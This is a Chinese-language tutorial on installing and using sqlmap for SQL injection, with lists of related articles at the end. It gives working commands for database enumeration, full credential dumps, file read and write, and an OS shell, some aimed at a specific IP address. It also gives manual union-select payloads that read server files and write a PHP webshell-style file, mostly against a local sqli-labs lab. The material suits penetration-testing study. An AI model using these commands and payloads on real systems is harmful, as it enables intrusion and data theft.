sqlmap的使用

简介: SQLMap是一个自动化的sql注入渗透工具,指纹检测、注入方式、注入成功后的取数据等等都是自动化的,甚至还提供了一个字典来将取回来的hash爆破,当然对于真实环境中这爆破功能战斗力基本为0....

1. SQLMap是什么?

在这个数据有价的时代数据库安全已经成为了重中之重,于是就整理了一下最常用的一款数据库安全方面的渗透测试工具sqlmap的使用笔记。

SQLMap是一个自动化的sql注入渗透工具,指纹检测、注入方式、注入成功后的取数据等等都是自动化的,甚至还提供了一个字典来将取回来的hash爆破,当然对于真实环境中这爆破功能战斗力基本为0....

SQLMap是使用python写的,因此具有跨平台的特性,并且下载下来解压就可以使用。它依赖于Python 2.x ,请不要安装Python 3.x。

2.准备工作

Python2.7.x

SQLMap

Python 下载地址:https://www.python.org/downloads/

请下载 Python2.7.x 版本

SQLMap 下载地址:http://sqlmap.org/

3.SQLMap安装

1.将下载的SQLMAP安装包解压到文件夹sqlmap中,并拷贝到Python安装路径下目录下;

默认Python的安装路径为“C:\Python27”;

并重命名为sqlmap


安装sqlmap 1

2.创建一个cmd进入python的快捷方式(这步可以不做,只是比较方便启动)

桌面——右键——创建快捷方式

快捷方式命名可随意,不作要求。

右键快捷方式——点击属性

修改起始位置为 sqlmap 文件夹路径

默认的路径为“C:\Python27\sqlmap”;


创建快捷方式 4

4.测试启动SQLMap

双击刚才创建的快捷方式,输入sqlmap.py -h

出现如下信息则表示安装成功


测试启动SQLMap


sqlmap -u http://219.153.49.228:49634/new_list.php?id=1 –dbs  列出有那些库


sqlmap -u http://219.153.49.228:49634/new_list.php?id=1 -D stormgroup -tables  查看stormgroup库下的表单


sqlmap -u http://219.153.49.228:49634/new_list.php?id=1 -D stormgroup -T member –columns  查看member中有哪些列




第三验证工具能否使用


(1)sqlmap.py -u “url”    #检测目标网站是否存在注入

(2)sqlmap.py -u “url” --dbs  #获取对方数据库所有库的名称

(3)sqlmap.py -u “url” -D “security” --tables  #获取security库下的表

(4)sqlmap.py -u “url” -D “securtiy” -T “emails,users” --columns   #获取eamil表,users表中的字段

(5)sqlmap.py -u “url” -D “securtiy” -T “uses” -C “id,username,password” --dump   #导出数据指定数据

(6)sqlmap.py -u “url” --dump-all   #拖库

(7)sqlmap -u "url" --current-user   #获取当前用户名称

(8)sqlmap -u “url” --current-db    #获取当前使用的数据名称

(9)sqlmap -r 1.txt   #指定文件检测注入

(10)sqlmap -u “url” --dbms “mysql” #指定数据库类型进行检测

(11)sqlmap -r 1.txt -p “参数名” #post型注入,-p指定哪个参数注入

(12)sqlmap -u “url” --forms #自动搜索表单 并测试注入

(13)sqlmap -u “url” --dbs -v 4 #显示sqlmap注入的信息

0、只显示python错误以及严重的信息。

1、同时显示基本信息和警告信息。(默认)

2、同时显示debug信息。

3、同时显示注入的payload。

4、同时显示HTTP请求。

5、同时显示HTTP响应头。

6、同时显示HTTP响应页面。

如果你想看到sqlmap发送的测试payload最好的等级就是3


(14)sqlmap -u “url”--tamper unmagicquotes    #检测宽字节注入

(15)sqlmap -u “url” --is-dba    #判断当前用户是否为数据库管理员权限

(16)sqlmap -u “url” --random-agent    #随机UA头

(17)探测等级参数:--level

共有五个等级,默认为1级, 这个参数不仅影响使用哪些payload同时也会影响测试的注入点,GET和POST的数据都会测试,HTTP Cookie在level为2的时候就会测试,HTTP User-Agent/Referer头在level为3的时候就会测试。总之在你不确定哪个payload或者参数为注入点的时候,为了保证全面性,建议使用高的level值。

sqlmap.py -u “url” --cookie “cookie value“ --level 2

(18)风险等级参数:--risk

共有四个风险等级,默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试。在有些时候,例如在UPDATE的语句中,注入一个OR的测试语句,可能导致更新的整个表,可能造成很大的风险。

(19)sqlmap.py -u “url” --users #列数据库用户

(20)sqlmap.py -u “url” --batch #采用默认配置对提示进行设置

(21)sqlmap.py -u “url” –roles 或者 --privileges  #列用户以及权限

(22)伪静态注入:

使用sqlmap进行伪静态注入

sqlmap -u “www.xx.com/index.php/news/id/203*.html”

sqlmap -u “www.xx.com/index.php/news/id/10*”



进阶使用

?id=-1' union select 1,2,load_file('D:/phpstudy/PHPTutorial/WWW/sqli-labs-master/Less-1/index.php')--+  


into outfile() #写入文件

payload:

?id=-1' union select 1,'<?php phpinfo();?>',3 into outfile 'D:/phpstudy/PHPTutorial/WWW/test.php'--+




2.利用sqlmap来操作:


--file-read #读取文件,相当于load_file()


payload:

sqlmap.py - u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --file-read="D:/phpstudy/PHPTutorial/WWW/sqli-labs-master/Less-1/index.php"





2.利用sqlmap来操作:

--file-write    #写入文件,相当于 into outfile

--file-dest      #写入文件的存放路径

payload:

sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --file-write "D:/phpstudy/PHPTutorial/WWW/test.php" --file-dest "D:\360MoveData\Users\Administrator\Desktop\404.php"




sqlmap -u “url” --os-shell

相关文章
|
SQL 测试技术 网络安全
[ 渗透工具篇 ] sqlmap 详解(一) sqlmap 安装详解
[ 渗透工具篇 ] sqlmap 详解(一) sqlmap 安装详解
1473 0
[ 渗透工具篇 ] sqlmap 详解(一) sqlmap 安装详解
|
1月前
|
SQL 关系型数据库 MySQL
|
1月前
|
SQL 关系型数据库 MySQL
sqlmap进阶使用
sqlmap进阶使用
|
4月前
|
SQL 安全 关系型数据库
使用SQLMap进行SQL注入测试
使用SQLMap进行SQL注入测试
|
6月前
|
数据库
Sqlmap是如何GET注入的
Sqlmap是如何GET注入的
53 0
|
6月前
|
SQL Shell 数据库
21、sqlmap参数详解
21、sqlmap参数详解
73 0
|
SQL 安全 网络安全
Sqlmap学习 -- Tamper绕过脚本
Sqlmap学习 -- Tamper绕过脚本
1016 0
|
关系型数据库 MySQL 数据库
Sqlmap学习 -- Tapmer绕过脚本(三)
Sqlmap学习 -- Tapmer绕过脚本(三)
188 0
|
SQL 安全 数据库
sqlmap的基本使用方法
sqlmap的基本使用方法
372 0
|
SQL Oracle 关系型数据库
sqlmap的使用
sqlmap的使用
159 0